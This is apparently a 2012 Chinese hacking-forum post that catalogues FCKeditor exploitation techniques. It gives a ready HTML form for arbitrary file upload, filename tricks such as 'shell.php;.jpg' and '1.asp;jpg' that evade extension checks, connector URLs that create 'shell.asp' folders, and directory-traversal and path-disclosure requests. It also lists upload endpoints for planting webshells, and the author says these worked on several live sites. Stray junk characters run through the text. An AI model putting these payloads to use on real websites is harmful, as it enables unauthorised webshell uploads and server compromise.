中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]
作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  . c! s- R' {! P/ ?- m. l
查看编辑器版本3 [2 W# ?: _, l/ ]1 P8 P/ I* o
FCKeditor/_whatsnew.html+ y4 z0 X" P" M7 m* V
—————————————————————————————————————————————————————————————, q( n- P2 ?# u- v, R

& T4 D8 P% s2 U: S& S2. Version 2.2 版本
+ M9 ~8 o+ n! s) O5 e7 d/ F6 ^Apache+linux 环境下在上传文件后面加个.突破！测试通过。* _! H  {7 y' v8 c9 o- ], W
—————————————————————————————————————————————————————————————
( ?- ^- g7 e; \7 h! S* c6 @2 n( j4 e; E  F; L
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
' g# b/ i/ |  ~, x7 J<form id="frmUpload" enctype="multipart/form-data"# ?# Q3 k. J  G! Z$ @( E
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
+ P  x# ~. v/ {4 F) s<input type="file" name="NewFile" size="50"><br>
' V: o6 B! Y9 |( {# j<input id="btnUpload" type="submit" value="Upload">" s+ o4 B# Y/ @" n4 L% q  D6 t
</form>7 b) _+ T' k( d3 c' f; ?- `8 F
—————————————————————————————————————————————————————————————0 y$ M) a6 \0 B- ?8 i
. b+ M2 f8 }7 b$ |9 q! U6 _
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
7 L* {6 H. K" x1 R8 N" m8 Y+ d        很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。9 n: M! ~( |3 t4 x. Y+ `
    4.1：提交shell.php+空格绕过0 x# L9 C( Y1 |2 j- C9 s7 W) f
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。5 r9 p5 y, l& x! |+ f* ~1 r
    4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
9 f+ s7 w9 `; Y! v+ C- u) o—————————————————————————————————————————————————————————————1 W' R1 ?6 `8 Z& U& g% G5 }( C' x+ @
; T. J) p1 `7 n4 G8 }6 ^" R
5. 突破建立文件夹" V$ ]5 [! w# \4 T# j3 g+ v
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756844 u4 `# I9 H5 b
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
0 V) ~" @( j9 y! P7 O  G, t0 e—————————————————————————————————————————————————————————————6 W/ o8 P0 e. i

; P( y" v- T. K% Y5 Z/ j5 n0 e" Y- d6. FCKeditor 中test 文件的上传地址
& o' O& S/ W4 O2 }: U4 p* d' ~FCKeditor/editor/filemanager/browser/default/connectors/test.html
0 g1 i( J/ M) n6 DFCKeditor/editor/filemanager/upload/test.html
, c$ h: {# G/ b: }FCKeditor/editor/filemanager/connectors/test.html
. h% t5 e# Q  u& O) QFCKeditor/editor/filemanager/connectors/uploadtest.html  @( `, ^8 J% r% J+ b8 E
—————————————————————————————————————————————————————————————
- e+ a1 [( B7 j6 b
7 a' p( u+ X$ w! B7 P; ~7.常用上传地址3 S+ x8 w8 y+ M  {6 n
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
) Y! G8 R) B9 zFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp" Z5 u% z7 P& m8 d( _4 H$ d
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过), |5 ]( F3 k* @0 ]6 _  T" ^
JSP 版：7 C. _5 f/ O4 W% G
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp9 i  C) i  W4 h- i, ]9 y" A
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文
* _) r1 h0 L2 g6 D件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。" \1 a2 t8 c/ b) p- ?% q  v
—————————————————————————————————————————————————————————————7 B$ M, l0 H) T5 O

7 X1 V4 ~) h: Z1 G( `* c8.其他上传地址
& v; O* p- q. z8 CFCKeditor/_samples/default.html
3 h. W! a' l* l4 Z* jFCKeditor/_samples/asp/sample01.asp/ W7 {) D, {& y% G
FCKeditor/_samples/asp/sample02.asp
1 R3 @" O( k, ~& DFCKeditor/_samples/asp/sample03.asp
5 n% [9 n; @7 U7 y7 \! N7 SFCKeditor/_samples/asp/sample04.asp
& I, q- O- F0 v: P一般很多站点都已删除_samples 目录，可以试试。
% @$ c& ^9 \% pFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
/ E% u( g: R2 x( Y8 }—————————————————————————————————————————————————————————————
: K. s; r1 X4 t6 {+ R8 y3 a+ B3 m3 @4 e
9.列目录漏洞也可助找上传地址
% T% T+ K* c: r0 \( z. JVersion 2.4.1 测试通过8 X" `6 [5 U! k, t( R
修改CurrentFolder 参数使用 ../../来进入不同的目录  _: S4 C5 ]; t' o. G6 r
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp) w$ z6 s" k8 M) J  K9 g: X
根据返回的XML 信息可以查看网站所有的目录。. V2 \1 s8 ^& ?: b. h1 W) W9 v
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F# R6 D8 s; q4 C1 f! \5 S, C& q
也可以直接浏览盘符：
8 X9 @$ w$ o6 z6 G0 b: {: L( Q* IJSP 版本：
" R2 x' Z% d" B, I  j- r& lFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F' s* _9 o6 S! X6 |1 j
—————————————————————————————————————————————————————————————$ F7 P, m- u. N1 I9 N

' Z7 q4 s" O4 L" _% t; E- Y10.爆路径漏洞
, w5 Q& T' B0 WFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
( ?% l2 Z* h6 d. h% ~2 @2 E/ n% }—————————————————————————————————————————————————————————————
: M$ K/ s# M7 U$ f8 o6 x0 O8 P  B' S4 s- I; A; n; R8 h! i1 D5 }
11. FCKeditor 被动限制策略所导致的过滤不严问题- ^. E- Y6 O$ @" a) Y! W
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
8 Q9 r0 ?6 n- z1 N脆弱描述：
4 k* M* Q( h3 [# [* x2 QFCKeditor v2.4.3 中File 类别默认拒绝上传类型：
9 \- d  N% g2 ]7 x3 K' Dhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm( b! P% D3 Z" P
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!  y# y) p0 W/ {8 R. S
        而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。6 `- g  u/ U  S) c4 l9 \& z
        在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!( O0 A6 r! @% }3 W* v
—————————————————————————————————————————————————————————————
$ y, @( b/ K( Q3 Y* D1 A7 ~0 V; c% D. E0 T1 \) D1 ^* }* b! a; _
12.最古老的漏洞，Type文件没有限制！
6 t9 j0 B9 V; Z        我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ 2 |8 {7 i1 g4 R; t3 q
—————————————————————————————————————————————————————————————
9 ?6 o/ a; q% F7 o+ [7 V9 z# C' b( U, k  t& K
===============================================================================================================================================
$ P( F7 s" C. |# S& F
7 X. f' D* R6 w) VFCK编辑器jsp版本漏洞：
' L5 ], |0 b( i5 a9 f8 ]
' y! f1 H* v; b% \7 Z  Y9 E% Z) u  f* _  y" B$ G
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F% p, N5 W6 g- y' B
6 Y" d+ y4 R$ {9 A- J) Y
上传马所在目录) a* `  E# A( w, C: Q/ a$ Y
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/6 `' ]+ j2 A( d2 s0 a& i
上传shell的地址:7 q" b, }8 `3 i: ^' a4 T
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector( `! b3 _+ q# t
跟版本有关系.并不是百分百成功. 测试成功几个站.
1 Z: N1 \$ m$ G4 V* ^7 T不能通杀.很遗憾., c/ Z2 J) I% M& H+ O  O% B$ X5 h
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector: @0 @8 i$ u2 `/ z" U4 T3 C
如果以上地址不行可以试试
6 z9 @  T: C" C3 p- P$ x+ |FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
" Y7 |% C/ ^$ L. D+ Q" n' hFCKeditor/_samples/3 J6 P/ O$ C( B- x
FCKeditor/_samples/default.html
+ D, }$ X  u& Q/ i( z! FFCKeditor/editor/fckeditor.htm
- T3 S0 o$ i$ a  x9 X# Y+ E3 rFCKeditor/editor/fckdialog.html' {0 W9 `+ f3 z3 A! }

2 W$ u4 N8 L# r' b- {' K3 \6 x- l6 T; ^: v0 P9 [. k6 R9 n0 _( a

2 c: {) A" A# @0 c! y& g" p解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
* S9 k4 E) I: A  L; G6 v! Z



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2